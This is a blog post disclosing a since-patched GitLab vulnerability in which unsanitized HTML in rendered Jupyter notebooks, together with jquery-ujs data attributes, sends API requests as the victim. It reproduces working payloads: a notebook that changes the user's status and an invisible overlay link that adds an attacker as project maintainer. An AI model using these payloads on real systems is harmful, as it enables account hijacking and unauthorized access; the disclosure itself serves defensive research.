← Blog

Security Vulnerability in GitLab: Sending Arbitrary Requests through Jupyter Notebooks

Security
published on:

The icon of the iOS app catalyst showing a three-dimensional, orange rendering of the letter C on a purple backgroundcatalyst

A native iOS client for GitLab that helps you with project management, tackling issues, and staying on top of your TODOs with notifications — across different instances of GitLab.

Download on the App Store

GitLab is a DevOps platform that supports millions of users in managing their software development process. As part of this, GitLab also supports data scientists with features like the rich representation of Jupyter notebooks:

The rich output supported by Jupyter Notebooks on GitLab

Image taken from the GitLab documentation

Jupyter Notebooks

Through their web-based interactive development environment, Jupyter notebooks allow easily sharing workflows for data science or computational journalism.

Different programming languages such as Python can be used to define these workflows by combining smaller units, so-called cells. In addition to programming languages, these cells can also display HTML.

Although the rich representation of Jupyter notebooks in GitLab is more limited than in tools like nbviewer, cells with HTML are still rendered on GitLab.

Exploiting Rich Representation of Jupyter Notebooks in GitLab

While browsing through existing GitLab vulnerabilities on HackerOne, I noticed that the rich representation of OpenAPI specifications was once subject to a stored XSS vulnerability . This made me curious whether this type of vulnerability could also apply to other rich representations in GitLab. So I started fiddling with the Jupyter notebook viewer of GitLab and was rewarded!

The vulnerability that I discovered, exploits a lack of sanitization in the output of GitLab's Jupyter notebook viewer and uses jquery-ujs, a npm package used in GitLab, as a gadget.

Lack of Sanitization in Jupyter Notebook Rendering

Storing the following Jupyter notebook as payload in GitLab:


_32
{
_32
"cells": [
_32
{
_32
"metadata": {},
_32
"cell_type": "markdown",
_32
"source": [
_32
"<a data-method=\"put\" data-params=\"message=p0wn3d\" data-remote=\"true\" href=\"/api/v4/user/status\" style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000\" />"
_32
]
_32
}
_32
],
_32
"metadata": {
_32
"kernelspec": {
_32
"name": "python3",
_32
"display_name": "Python 3",
_32
"language": "python"
_32
},
_32
"language_info": {
_32
"name": "python",
_32
"version": "3.6.10",
_32
"mimetype": "text/x-python",
_32
"codemirror_mode": {
_32
"name": "ipython",
_32
"version": 3
_32
},
_32
"pygments_lexer": "ipython3",
_32
"nbconvert_exporter": "python",
_32
"file_extension": ".py"
_32
}
_32
},
_32
"nbformat": 4,
_32
"nbformat_minor": 2
_32
}

outputs the contained HTML without sanitization:


<a
data-method="put"
data-params="message=p0wn3d"
data-remote="true"
href="/api/v4/user/status"
style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"
/>

While this is just an invisible link, the styling creates a layer on top of the Jupyter notebook viewer that triggers the link upon the first click of the user.

Using jquery-ujs to Send Arbitrary HTTP Requests

The lack of sanitization for the HTML is not a vulnerability in itself, though. The rendered data-* attributes only become a vulnerability in combination with jquery-ujs which was used by GitLab at the time of discovering this vulnerability. The npm package allows to make HTTP requests from links, i.e., <a> HTML elements using data-* attributes.

The exemplary payload from above specifies that we want to craft an asynchronous (i.e., data-remote="true") PUT request (i.e., data-method="put") to https://gitlab.com/api/v4/user/status (i.e., href="/api/v4/user/status") with the parameter {'message': 'p0wn3d'} (i.e., data-params="message=p0wn3d"). That is, we want to change the status of the victim's profile to p0wn3d.

Impact

While changing the victim's status has a limited impact, impersonating a victim in the face of GitLab's API can be very harmful. As such, consider the following payload which would cause a victim to name the attacker as maintainer on a desired project:


<a
data-method="put"
data-params="user_id=<ATTACKER_ID>&access_level=40"
data-remote="true"
data-url="/api/v4/projects/<PROJECT_ID>/members"
style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"
/>

where <ATTACKER_ID> would be the attacker's user ID on GitLab and <PROJECT_ID> would be the ID of the GitLab project to gain access to.

Timeline

I responsibly disclosed this vulnerability through GitLab's bug bounty program on HackerOne:

  • [2020-08-30] Reported the vulnerability to GitLab
  • [2020-08-31] Updated the report with simplification of exploit
  • [2020-09-02] Updated the report with a follow-up of technical details
  • [2020-09-07] GitLab verified the vulnerability
  • [2021-09-21] GitLab shipped a fix for the vulnerability with version 14.3